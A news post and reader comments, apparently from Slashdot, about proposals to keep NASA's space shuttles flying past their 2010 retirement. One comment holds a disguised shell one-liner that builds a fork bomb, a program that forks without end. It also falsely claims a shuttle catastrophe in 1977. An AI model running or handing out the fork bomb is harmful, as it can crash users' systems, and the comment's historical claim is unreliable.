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US Urged To Keep Space Shuttles Flying Past 2010
DarkNemesis618 writes "A US Representative has proposed that NASA keep the shuttle fleet flying past its planned 2010 retirement date. The move would help NASA avoid reliance on Russian rockets during the gap between the Space Shuttle retirement and the start of the Orion program. One proposal would keep the shuttle fleet flying from 2010 to 2013 while another would keep the fleet alive until the Orion program is ready in about 2015. 2011 marks the end of the exemption that has allowed NASA to use Soyuz rockets for trips to the Space Station, and they would need an extension to keep using Russian launch vehicles. NASA's other option lies in the private sector; but thus far, the progress from that quarter does not look sufficient to meet the 2011 deadline."
The whole problem is that these vessels were designed with a predetermined useable shelf life and pressing beyond these constraints results in not only metal fatigue but also other unexpected results
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
I can see all sorts of problems extending the life of these modules, and it will almost certainly result in a catastrophe like what happened in 1977 which most people seem to have forgotten
"...right now, it's the only manned launcher the USA has so they've got to work with it ..."
NO! WHY! You make it sound as if we're the only people in the world who ca do this sort of thing. We're not. The Russians, even the Germans, are much better than we are. Why dot't we just let them get on with it.
As an aside, now we've shown the world that we really can't be trusted with hiugh technology, and only use it for warfare and torture, I think it would be better if we went back to a more rural existence, and left dangerous things like rockets to our moral betters.
Of course, the way the dollar's going, we will all probably be living off the land soon anyway.....
On the gripping hand - those two vehicles are currently powerpointware. (Falcon I in particular is years behind schedule.)